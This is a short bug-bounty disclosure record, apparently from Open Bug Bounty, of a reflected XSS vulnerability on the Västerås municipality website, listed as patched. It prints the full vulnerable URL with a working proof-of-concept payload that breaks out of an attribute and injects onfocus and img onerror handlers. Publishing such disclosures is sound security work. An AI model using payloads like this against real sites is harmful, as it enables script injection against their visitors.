vasteras.se XSS vulnerability

Vulnerable URL: http://vasteras.se/nyheter/sokresultat.html?query=a%27aa%22onfocus=prompt/OPENBUGBOUNTY/%20autofocus=x%20bad=--%3E%3C/title%3E%3C/script%3E%3Cimg%20src=x%20onerror=prompt/OPENBUGBOUNTY/%3E Details: Description| Value ---|--- Patched:| Yes, at Vulnerability type:| XSS Vulnerability...